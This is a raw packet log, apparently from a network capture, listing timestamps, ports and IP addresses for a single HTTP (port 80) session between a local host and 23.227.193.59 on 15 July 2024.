Jul 15, 2024 00:48:35.085583925 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.085587025 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.085597992 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.085608959 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.085621119 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.085621119 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.085635900 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.085647106 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.085649967 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.085671902 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.085694075 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.085705996 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.085716963 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.085731030 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.085757971 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.085880995 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.085894108 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.085905075 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.085916042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.085927010 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.085932016 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.085946083 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.114566088 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.114613056 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.114625931 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.114650011 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.114679098 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.114763975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.114779949 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.114792109 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.114804983 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.114819050 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.114847898 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.171964884 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172053099 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172063112 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172096014 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.172125101 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172137022 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172147036 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172157049 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172166109 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.172168970 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172178984 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.172179937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172219038 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.172290087 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172302008 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172312021 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172322035 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172329903 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.172333956 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172341108 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.172346115 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172358990 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172369957 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172374964 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.172395945 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.172503948 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172514915 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172525883 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172544956 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.172568083 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.172574997 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172588110 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172596931 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172607899 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172617912 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172629118 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.172629118 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172641993 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172662973 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.172671080 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.172816992 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172837019 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172849894 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172859907 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172867060 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.172873020 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.172887087 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.172909021 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.173074007 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.173085928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.173095942 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.173105955 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.173115969 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.173124075 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.173127890 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.173139095 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.173145056 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.173149109 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.173166990 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.173171997 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.173177958 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.173183918 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.173233032 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.174561977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.174640894 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.174653053 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.174675941 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.174705982 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.174717903 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.174727917 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.174740076 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.174741983 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.174762964 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.174910069 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.174921036 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.174933910 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.174945116 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.174969912 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.174976110 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.174987078 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.174997091 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175008059 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175018072 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.175019026 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175040007 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175050974 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.175051928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175085068 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.175160885 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175172091 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175180912 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175192118 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175195932 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.175204039 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175215006 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175215960 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.175225973 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175237894 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175245047 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.175263882 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.175410986 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175421953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175432920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175442934 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175452948 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175453901 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.175463915 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175472021 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.175476074 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175502062 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.175574064 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175585032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175595999 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175601959 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.175616980 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175626040 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.175632000 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175642967 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175652027 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.175652027 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175663948 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175673962 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175674915 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.175683975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175695896 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175704956 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.175707102 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175717115 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175719023 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.175739050 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.175928116 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175940037 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175947905 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175960064 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175970078 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175971031 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.175981045 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175991058 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.175991058 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.176002026 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.176002026 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.176014900 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.176026106 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.176037073 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.176059961 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.176069975 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.176096916 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.176160097 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.176172018 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.176182032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.176192045 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.176202059 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.176206112 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.176212072 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.176229000 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.176255941 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.205483913 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.205496073 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.205507040 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.205576897 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.205583096 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.205595970 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.205606937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.205620050 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.205626965 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.205646038 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.247728109 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.259363890 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.259377956 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.259391069 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.259428024 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.259610891 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.259633064 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.259645939 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.259651899 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.259684086 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.259751081 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.259763002 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.259773970 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.259784937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.259790897 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.259805918 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.259818077 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.259824038 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.259829998 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.259850025 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.259850979 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.259893894 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.259897947 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.259911060 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.259947062 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.260056973 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.260077953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.260090113 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.260113001 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.260293961 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.260308027 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.260320902 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.260335922 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.260354996 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.260360003 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.260731936 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.260767937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.260772943 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.260781050 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.260813951 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.260840893 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.260854006 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.260865927 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.260879040 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.260889053 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.260915041 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.260947943 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.260958910 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.260970116 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.260992050 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.261100054 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.261112928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.261123896 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.261135101 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.261137009 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.261151075 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.261161089 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.261162043 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.261174917 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.261188030 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.261194944 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.261214972 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.261523962 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.261535883 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.261574984 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.262933969 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.262944937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.262958050 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.262969971 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.262979984 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.262980938 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.262995005 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.262996912 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.263009071 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263025045 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.263057947 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.263076067 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263088942 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263138056 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.263145924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263158083 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263180017 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263191938 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263195992 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.263205051 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263216019 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263230085 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263235092 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.263243914 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263254881 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.263303041 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.263442993 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263454914 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263468027 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263509035 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.263546944 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263561010 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263572931 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263585091 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263592958 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.263597965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263605118 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.263609886 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263622999 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263636112 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263636112 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.263650894 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263662100 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.263706923 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.263851881 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263864040 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263876915 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263887882 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263895035 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.263899088 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263911963 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263922930 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.263925076 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263942957 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.263957977 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.263988018 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.264175892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264188051 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264199018 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264213085 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264225960 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.264225960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264239073 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264250040 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.264250994 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264265060 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264276028 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.264303923 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.264332056 CEST	80	57614	23.227.193.59	192.168.2.5
